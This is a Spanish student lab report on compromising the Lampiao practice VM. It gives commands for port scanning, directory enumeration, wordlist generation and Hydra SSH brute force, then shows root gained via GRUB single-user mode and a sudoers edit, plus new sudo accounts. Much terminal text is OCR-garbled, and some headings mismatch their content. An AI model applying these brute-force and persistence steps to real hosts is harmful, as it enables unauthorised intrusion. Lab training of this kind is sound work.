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1 INTRODUCCION
El presente informe describe el proceso realizado para analizar y comprometer la

maquina Lampido en un entorno controlado de précticas de seguridad informatica. El
objetivo principal fue aplicar técnicas de pentesting, desde la enumeracion inicial
hasta la escalada de privilegios, con el fin de comprender mejor las fases de un ataque

y reforzar los conocimientos sobre administracion de sistemas Linux.



2  OBJETIVO GENERAL

Realizar un proceso completo de pruebas de penetracion sobre la maquina
Lampiao, identificando vulnerabilidades y aplicando técnicas para obtener acceso
privilegiado.

2.1 Objetivos Especificos

1. Ejecutar un escaneo de puertos para detectar servicios expuestos.
2. Enumerar directorios y recursos disponibles en el servicio web.

3. Generar un diccionario personalizado de contrasefias y probar credenciales en
el portal de autenticacion.

4. Conseguir acceso inicial a la maquina victima mediante fuerza bruta y SSH.
5. Escalar privilegios desde un usuario bésico hasta obtener acceso root.

6. Crear usuarios de prueba y verificar su conexion al sistema via SSH.



3 PLANTEAMIENTO DEL PROBLEMA
En la practica se plante6 el reto de comprometer la maquina Lampido, que simula
un servidor vulnerable. La dificultad principal radicaba en identificar los puntos de
entrada, superar los mecanismos de autenticacion y, finalmente, lograr privilegios de
administrador. Resolver este problema es importante porque refleja escenarios reales
donde la seguridad de un sistema depende de configuraciones correctas y contrasenas
robustas.

3.1 Descripcion del problema

3.2 Escaneo de Puertos con Nmap

Resultado del escaneo inicial con Nmap sobre la maquina victima, mostrando los
puertos abiertos y servicios en ejecucion.

Comando ejecutado:

nmap -sS -sV -p- <10.10.10.12>

S mEPOdF]| 2 | [ - oo a B a G
= rosa@rosa: ~

Archivo Acciones Editar Vista Ayuda

[sudo] contrasefia para rosa:
/home/rosa

Starting Nmap 7. ( https://nmap.org ) at 2025-09-11 16:41 CEST

@ =i &G @ cTRLDERECHA

Descripcion 1



3.3 Descubrimiento de Directorios con Gobuster

Enumeracion de directorios en el servidor web utilizando Gobuster.

Comando ejecutado:

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt

= 1-2000 10.10.10.12
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:46 CEST
Nmap scan report for 10.10.10.12
Host is up (0.00081s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
MAC Address: ©8:00:27:57:E1:B3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.61 seconds

Descripcion 2

3.4 Uso de CeWL para Generar un Diccionario Personalizado

Generacion de un diccionario de contrasefias a partir de las palabras encontradas
en el sitio web.

Comando ejecutado:

cewl http://<IP> -w diccionario.txt

Descripcion 3
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3.5 Acceso al Servicio Web Descubierto

Visualizacidon del servicio web encontrado tras la enumeracion de directorios.

Permite interaccion con el sistema objetivo.

“mP O]

% Lampido

C @

OffSec Kali Linux §8 KaliTools « KaliDocs N Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

Home
User I om 2 Yy -
g Lampido, heréi ou vildo do Sertdo?
Username * Submitted by tlago on Th, 04/1972018 - 18:25
Password *
Creat .
o e
Login Para uns, um idolo. Para out ssino. Lampido, uma das figuras mais misteriosas a historia do Brasil, passou a

vida sendo temido e idolatra

aterrorizava e amparava. Conhega aqui sua trajetoria

B & E@ G E CTRDERECHA

P o a51a.m
N G TE® om0

0 2ec

Nublado

B
0
=
-
‘W
‘%
1]
@

Descripcion 4
3.6 Pagina de Autenticacion en la Aplicacion Web

Captura de la pagina de login donde se probaran usuarios y contrasefias obtenidos

con CeWL y otras técnicas de fuerza bruta.

= m P[]

C @

Kali Linux @ Kali Tc

1897
Lamparina

Virgulino Ferreira da Silva nasceu em 7 de julho de 1897 (de acordo com o registro civil) ou em 4 de junho de

& & o SR EE @ CTRL DERECHA
©Q 28°c = == 9:56a.m.
B Qoo = = @ B & e ~a E eem e

Descripcion 5
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3.7 Intento de Acceso con Credenciales

Prueba de credenciales sobre el formulario de inicio de sesion.

msf6 > search OpenSSH

Matching Modules

# Name Disclosure Date Rank Check Description

@ post/windows/manage/forward_pageant 8 normal No Forward SSH Agent Requests
To Remote Pageant

1 post/windows/manage/install_ssh . normal No Install OpenSSH for Windows

2 post/multi/gather/ssh_creds L normal No Multi Gather OpenSSH PKI Cr
edentials Collection

3 auxiliary/scanner/ssh/ssh_enumusers : normal No SSH Username Enumeration

4 \_ action: Malformed Packet 5 s . Use a malformed packet

5 \_ action: Timing Attack . < z Use a timing attack

6 exploit/windows/local/unquoted_service_path 2001-10-25 1t Windows Unquoted Service Pa
th Privilege Escalation

Interact with a module by name or index. For example inf

msf6 > ||

Descripcion 6

3.8 Acceso al Panel de Administracion

Ingreso exitoso al panel de administracion de la aplicacion, lo que confirma la

validez de las credenciales obtenidas durante las fases de enumeracion y fuerza bruta.

/home/rosa
http://10.10.10.12:1898/ ite Diclampiao.txt

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

/home/rosa
Diclampiao.txt
844 Diclampiao.txt

/home/rosa

Descripcion 7
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3.9 Fuerza bruta SSH y enumeracion de privilegios
Se muestra el contenido del archivo Diclampiao.txt usando cat.

Este archivo contiene una lista de posibles contrasefias que luego serd usada como

diccionario en un ataque de fuerza bruta.

/home/rosa
Diclampiao. txt

Lampiao
que
main
field
com
section
account

Descripcion 8

3.10 Acceso SSH y preparacion para escalada de privilegios

Se ejecuta el comando hydra -h.

Esto despliega la ayuda de Hydra, mostrando la sintaxis y opciones que se pueden

usar (usuarios, contrasefias, servicios, etc.).
/home/rosa

/home/rosa

(this is non-binding

P FILEI] | [-
IME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:C
er[ :PORTI[/OPT]]

Options:
l LOGIN or -L FILE login with LOGIN name, or load
or -P FILE or
‘313n SE

Descripcion 9

do not use in milit
th *** jgnore laws and

FILE]] [—ﬂ n;x] [ o FILE] [-t T
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3.11 Ataque con Hydra seguido de analisis con LinEnum
Se lanza Hydra con el comando:

hydra -1 user -P Diclampiao.txt ssh://10.10.10.12

e -l user: indica el nombre de usuario que se probara.

o -P Diclampiao.txt: archivo con las contrasefias a probar.

e ssh://10.10.10.12: el servicio objetivo (SSH en la IP 10.10.10.12).

Hydra comienza a probar todas las contrasefias del diccionario contra el usuario

Uuscr.

/home/rosa
P Diclampiao.txt ssh: .10.10.12

/an Hauser & David Maciejak - Pl e do not use in milit q rvice orga
(this is non-binding, t **% ignore

hauser-thc/thc-hy tar 0 7 a
ions limit the numb F p: a it i ommended to reduce the tasks:

ries per task

Descripcion 10

3.12 Compromiso inicial y reconocimiento post-explotacion

Se intenta acceder por SSH manualmente:

ssh tiago@10.10.10.12

Aqui ya se sabe el usuario correcto (tiago) y se prueba conectarse al servidor SSH
enlalP 10.10.10.12.

El sistema pregunta si se confia en la huella digital de la maquina.
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/home/rosa
tiago@10.10.10.12
The authenticity of host '10.10.10.12 (10.10.10.12)' can't be established.
ED25519 key fingerprint is SHA256:GGWOASYjbhMycAKiglcXcsa@HvSwkLHZP9bQBtVrPs8.

This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes|i

)

Descripcion 11

3.13 Del diccionario al shell: flujo de compromiso SSH

Se logra acceder al sistema remoto con éxito como el usuario tiago.
El servidor corre Ubuntu 14.04.5 LTS.

Se muestran estadisticas del sistema (carga, uso de memoria, usuarios, etc.).

/home/rosa

tiago@10.10.10.12
The authenticity of host 10.10.10.12 (10.10.10.12)" can't be established.
ED25519 key fingerprint is SHA256:GGWOASYjbhMycAKiglcXcsa@HvSwkLHZP9bQBtVrPs8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.10.12° (ED25519) to the list of known hosts.
tiago®10.10.10.12"'s password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Thu Sep 11 12:24:55 BRT 2025
System load: 0.82 Processes: 188
Usage of /: 7.5% of 19.07GB  Users logged in: 0
Memory usage: % IP address for etho: 10.10.10.12
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiago@lampiao:~$ [j

Descripcion 12

3.14 Secuencia: diccionario — Hydra — SSH — LinEnum

Se cambia de usuario rosa a root usando:
sudo su

Luego se clona el repositorio LinEnum de GitHub:
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git clone https://github.com/rebootuser/LinEnum.git

LinEnum es una herramienta de enumeracion de privilegios en Linux.

~

[sudo] contrasefia para rosa:
/home/rosa
clone https://github.com/rebootuser/LinEnum.git

, Clonando en 'LinEnum’ ...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (96/96), done.
remote: Compressing objects: 100% (18/18), done.
Becibiendo objetos: 81% (190/234), 60.00 KiB | 34.00 KiB/s

Cdnonicdi. coiy

Descripcion 13

3.15 Operaciones de pentesting — fuerza bruta y enumeracion

Se confirma que el repositorio LinEnum fue clonado.

El usuario entra al directorio con:

cd LinEnum

y lista los archivos disponibles, entre ellos el script principal LinEnum.sh.

[sudo] contrasena para rosa:
/home/rosa
clone https://github.com/rebootuser/LinEnum.git
Clonando en ‘LinEnum’ ...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (96/96), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
Recibiendo objetos: 100% (234/234), 113.83 KiB | 4.00 KiB/s, listo.
Resolviendo deltas: 100% (130/130), listo.

/home/rosa

‘sudo apt update’
Diclampiao.txt

/home/rosa

LinEnum
/home/rosa/LinEnum
CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

/home/rosa/LinEnum

Descripcion 14
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3.16 Evidencia de intrusion: conexion SSH y enumeracion de sistema

Se abre el archivo LinEnum.sh con el editor nano.
Aqui se puede observar parte del cédigo, donde se buscan archivos con permisos

especiales SGID y otros posibles vectores de escalada de

privilegios.ggggggggggggggggg

-] root@rosa: /home/rosa/LinEnum

Archivo Acciones Editar Vista Ayuda

 GNU nano 8.4 LinEnum.sh

allsgid= find / -perm -2000 -type f 2>/dev/null
findsgid nd -perm -2000 -type f -ex 2>/dev/null

im[-] SGID files

"$export” £ "$find

/sgid-files/ ev/null

< T | /sgid-files/; 2>/dev/null

-perm -2000 -type f -ex 1s -la ; 2>/dev/null 2>/dev/null

] Possibly interes SGID files:\ ) sgid"]]

-perm -2002 -type f -ex 1s -la 2>/dev/null

BE Ayuda B Guardar B Buscar BN Cortar Bl Ejecutar B Ubicacion Il Deshacer
B Salir Mi Leer fich. || Reemplazar Qi Pegar B Justificar | Ir a linea [Jg3 Rehacer

Descripcion 15

3.17 Edicion rapida del script LinEnum — revision de busqueda SGID
Se vuelve a abrir LinEnum.sh con nano pero luego se cierra sin hacer cambios.

El usuario ya esta listo para ejecutar el script.
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/home/rosa/LinEnum
LinEnum.sh

/home/rosa/LinEnum

Descripcion 16

3.18 Navegacion en /home y listado de archivos del usuario tiago

Qué muestran las entradas importantes:

e drwxr-xr-x 4 tiago tiago 4096 Apr 20 2018 .
. es el directorio actual (propietario tiago, permisos rwx para owner, r-x para

grupo y otros).

e drwxr-xr-x 3 root root 4096 Apr 19 2018 ..

.. es el directorio padre (en este caso /home, propiedad root).

e Archivos ocultos tipicos del entorno de shell:

o .bash_history — historial de comandos del usuario (puede contener

pistas de comandos anteriores).

.bash_logout, .bashrc, .profile — scripts de configuracioén que se

e}

ejecutan al iniciar/cerrar sesion; pueden contener alias, funciones o

configuraciones personalizadas.

o .viminfo — historial/estado de vim.

.aptitude (o similar) — configuracién/historial de aptitude (si existe).

e}
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e Permisos (ejemplo -rw-r--r--): archivo legible por todos, escribible solo por el

propietario.

Interpretacion practica:

e El usuario tiago es un usuario normal (no root) y sus archivos de

configuracion son accesibles por el owner.

e .bash history y .bashrc pueden contener informacioén util (comandos
ejecutados, scripts, rutas), por eso suelen revisarse para reconocimiento post-

acceso.

hrchivo Acciones Editar Vista Ayuda

tiago@lampiao: /

Archivo Acciones Editar Vista Ayuda

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiago@lampiao:~$ cd /home
tiago@lampiao:/home$ 1s

tiago@lampiao:/home$ cd tiago
tiago@lampiao:~$ cd /tiago

-bash: cd: /tiago: No such file or directory
tiago@lampiao:~$

tiago@lampiao:~$ la -la

total 36
drwxr-xr-x
drwxr-xr-x
drwx

-rw
-TW-r—-r—-
-TW-T—TI—

tiago tiago 4096

root root 4096

tiago tiago 4096

tiago tiago 25 .bash_history
tiago tiago 220 .bash_logout
tiago tiago 3637 .bashrc

drwx tiago tiago 4096

-TW-T—TI— tiago tiago 675 .profile

-TwW 1 root root 577 .viminfo
tiago@lampiao:~$ cd ..

tiago@lampiao:/home$ cd ..

tiago@lampiao:/$ 1s

HNE RN WS

tiago@lampiao:/$ I

Descripcion 17

3.19 Listado del directorio raiz / (salida final del Is)
Comando y salida:
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e Después de cd .. y Is se listan entradas del directorio raiz: bin dev home lib

media opt root sbin sys usr vmlinuz tmp var ...

Qué representa cada tipo de entrada (resumen rapido):

e Dbin, sbin, usr/bin, usr/sbin: binarios y utilidades del sistema.

e dev: dispositivos especiales (ficheros de dispositivos).

e home: directorios personales (donde esta tiago).

o lib, 1ib64: librerias compartidas usadas por programas.

e opt: paquetes o aplicaciones opcionales instaladas.

e root: home del usuario root.

e tmp: archivos temporales.

« var: datos variables (logs, bases de datos, spool).

e vmlinuz: imagen del kernel (nombre del fichero del kernel cargable).

Interpretacion practica:

e Ver el contenido de / confirma que estas en una distribucion Linux tipica

(estructura estandar del filesystem).

e Algunos directorios (root, sbin) indican donde buscar archivos o binarios que

requieren privilegios elevados.
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No hay nada extrafio por si mismo, pero al conocer la estructura puedes
decidir qué areas investigar con mas detalle (logs en /var/log, binarios en

/usr/bin, configuraciones en /etc —que no aparecen en la lista pero estan en /).

tiago@lampiao:~$ cd ..
tiagomlampiao:/home$ cd ..
tiagoa@lampiao:/$ 1s

En

tiago@lampiao:/$ cd /etc
tiago@lampiao:/etc$ 1s

1d.so.cache passwd- shadow-
adduser.conf environment 1ld.so.conf shells

fstab legal
libaudit.conf
fuse.conf popularity-contest.conf subgid
gai.conf locale.alias subgid-
localtime profile subuid
group subuid-
at.deny group-— login.defs protocols sudoers
bash.bashrc logrotate.conf
bash_completion gshadow sysctl.conf
gshadow- 1lsb-release
bindresvport.blacklist hdparm.conf ltrace.conf
blkid.conf host.conf magic
hostname magic.mime timezone
hosts mailcap ucf.conf
hosts.allow mailcap.order
ca-certificates.conf hosts.deny manpath.config

Descripcion 18

3.20 Convertir a Tiago como sudo

3.20.1
l.

Reinicia la VM y entra en modo de recuperacion (GRUB single user):

Reinicia lampiao.

En el ment de GRUB, selecciona la entrada de Ubuntu y pulsa e.

Busca la linea que empieza con linux y al final agrega:

Suburntul o 14

set=root 51

= =1 [®] CTRL DERECH.A

Descripcion 19
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3.20.2 se le dan los privilegios a tiago
dentro de nano, se agrega la siguiente linea en modo lectura. Solo tienes que

remontar el sistema de archivos con permisos de escritura (mount -o remount,rw

/) y ya podras usar usermod.

GNU nano 2.2.6 File: setc/sudoers Modified

User alias specification
Cmnd alias specification

User privilege specification
oot ALL=(ALL:ALL) ALL

Members of the admin group may gain root privileges
zadmin ALL=(ALL) ALL

it Allow members of group sudo to execute any command
Zsudo ALL=(ALL:ALL) ALL

t See sudoers(5) for more information on "#include"” directives:
itincludedir setc/sudoers.d

tiago ALL=(ALL:ALL) ALL

g Get Help @i WriteOut @ Read File @] Prev Page §i8 Cut Text @8 Cur Pos
Justify | Where Is Next Page @l UnCut Text To Spell

Descripcion 20
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3.20.3 Inicializa como root

Se inicializa como root provisional para que darle los acesso como supe

usuario a tiago

root@(noned 14 sudo su

=udo: unable to resolue host (none)

hash: canmmot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@ (noned (- s=udo -1

sudo: unable to resolve host (none)
! cammot set terminal process group (1): Inappropriate ioctl for device

! no job control in this shell

lsudo: unable to resolue host (none)d

root@(none) : " #

Descripcion 21

3.20.4 Confirmamos si Tiago tiene el modo sudo

Aplicamos el comando sudo usermod -aG sudo rosa para que probar si tiago
esta en modo sudo y efectivamente esta en modo sudo, ya que nos dice que el

usuario rosa no existe

Uzer tiago may run the following commands on lampiao:
(ALL : ALL) ALL
tiago@lampiao:™$ sudo usermod —aG sudo rosa

usermod: user 'rosa’ does not exist
tiago@lampiao:™$

Descripcion 22
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3.20.5 Creamos usuarios
En este paso creamos los usuarios ROSA'Y SANDOVAL, como usuarios de

prueba aqui nos pide que llenemos la informacién de ellos

tiago@lampiao:™5 sudo adduser rosa
Adding user “rosa' ...
Andding new group rosa’ (1001)
Adding new user ‘rosa’ (1001) with group ‘rosa’
Creating home directory °.~home-srosa’
Copying files from " etcrskel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the wser information for rosa
Enter the new wvalue, or press ENTER for the default
Full Mame []1: ro=sa
Room Humber [1: rosa
Work Fhonme [1: 123
Home Fhone [1: 123
Other [1: 123
I= the information correct? [¥-nl y
tiago@lampiao:™5 sudo adduser =sandowval
Adding user “sandoval’ ...
Adding new group sandowval’ (1002)
Adding new user ‘Sanduual' (1002) with group "sandoval’
Creating home directory *~homersandoval’
Copying files from " ~etcr.skel’
Enter new UNIX password:
Retype new UNIX password:
pass=wd: password updated successfully
Changing the wser information for sandowval
Enter the new value, or press ENTER for the default
Full Hame [1: =sandowal
Room Humber [1: 1234
Work Phone [1: 1234
Home Fhone [1: 1234
Other [1: 1234
I= the information correct? [Y-mnl u
tiago@lampiao: ™5
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3.20.6 Privilegios de administrador

En este paso le damos a los usuarios creados privilegios de administrador con

los comandos que se ven en pantalla
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tiago@lampiao:™5 sudo wsermod -aG sudo rosa
tiago@lampiao:™$ sudo usermod —aG sudo sandoval
tiago@lampiao:™5 id rosa

nid=1001(rozal) gid=1001(ro=za) group=z=1001(ro=al,Z?(zudo)

tiago@lampiao:™$ id sandoval
nid=100Z (sandoval) gid=100Z2(sandovall) groups=100Z(sandovall),Z?(sudo)
tiago@lampiao:™$
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Usuario 1 SSH

3.20.7 Accedemos a SSH con el usuario ROSA recién creado
Archivo Acciones Editar Vista Ayuda

= rosa@l0.10.10.12
rosagl®.10.10.12's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Mon Sep 15 20:26:10 BRT 2025

System load: 0.0 Processes: 163
Usage of /: 7.5% of 19.07GB  Users logged in: 1

Memory usage: 18% IP address for eth@: 10.10.10.12
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release "16.04.7 LTS' available.
Run ‘do-release-upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

rosa@lampiao:~$ [}

Descripcion 25
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Usuario 2 SSH

3.20.8 Accedemos a SSH con el usuario SANDOVAL recién creado

Archivo Acciones Editar Vista Ayuda

— sandoval@l@.10.18.12
sandoval@l®.1@.10.12"'s password:
Welcome to Ubuntu 14.@4.5 LTS (GNU/Linux &4.4.8-31-generic i6

* Documentation: ://help.ubuntu.com/

r eth®: 19.10.10.12

individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

sandoval@lampiao:~% I

Descripcion 26
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4 PROBLEMAS ENCONTRADOS Y SOLUCIONES
1. Dificultad para identificar servicios abiertos

o Problema: Al inicio no se conocian los puertos disponibles de la
maquina, lo que hacia complicado saber por donde empezar.

o Solucion: Se utilizo Nmap con un escaneo completo de puertos (-p-),
lo que permiti6 descubrir qué servicios estaban activos y accesibles.

2. Enumeracion limitada del servicio web

o Problema: No se encontraba informacion 1til en la pagina principal
del servidor.

o Solucion: Con Gobuster se logr6 descubrir directorios ocultos y rutas
que daban acceso a zonas mas sensibles de la aplicacion web.

3. Credenciales desconocidas en el login

o Problema: La pagina de autenticacion pedia usuario y contraseiia,
pero no se tenia ninguno valido.

o Solucion: Se genero un diccionario de contrasefias con CeWL a partir
de palabras del sitio web, lo que permitié realizar intentos de fuerza
bruta y encontrar credenciales correctas.

4. Acceso restringido a SSH

o Problema: Aunque se tenia el servicio SSH visible, no se conocian las
contrasefias de los usuarios.

o Solucion: Se us6 Hydra junto con el diccionario generado, logrando
acceso como el usuario tiago.

5. Escalada de privilegios limitada

o Problema: El usuario fiago no tenia permisos de root, lo que impedia
realizar cambios importantes en el sistema.

o Solucion: Se uso la herramienta LinEnum para revisar
configuraciones del sistema y luego, modificando permisos y grupos,
se otorgo privilegios de sudo a fiago, con lo que se consiguid acceso
root.

6. Creacion de usuarios con permisos



27

o Problema: Una vez con acceso root, se necesitaba comprobar la
creacion de nuevos usuarios y su conexion al servidor.

o Solucion: Se crearon los usuarios ROSA y SANDOVAL, se les
dieron permisos administrativos y se probd su ingreso por SSH de

manera exitosa.

7. Acceder a la pagina de lampiao

o Problema: una vez se crearon los usuarios ROSAY SANDOVAL, se

debia ingresar a la pagina lo cual no tuvo éxito.
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S RECOMENDACIONES

Usar contrasefias mas robustas para evitar ataques de fuerza bruta.
Restringir el acceso a servicios como SSH a direcciones IP confiables.

Mantener actualizado el sistema operativo y las aplicaciones web para reducir
riesgos de vulnerabilidades conocidas.

Monitorear constantemente los archivos de registro (/var/log) para identificar
intentos de acceso sospechosos.

Implementar autenticacion multifactor para los accesos administrativos.
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6 CONCLUSION

La practica con la maquina Lampido permiti6 afianzar conocimientos sobre el
ciclo de un ataque: enumeracion, explotacion y escalada de privilegios. Se
logré el objetivo de obtener acceso root a partir de un usuario basico, y ademas se
probd la creacion de nuevos usuarios con privilegios administrativos. Esta
experiencia demuestra la importancia de la seguridad en la configuracion de
servicios, la gestion adecuada de contrasefias y la actualizacion constante de los
sistemas.
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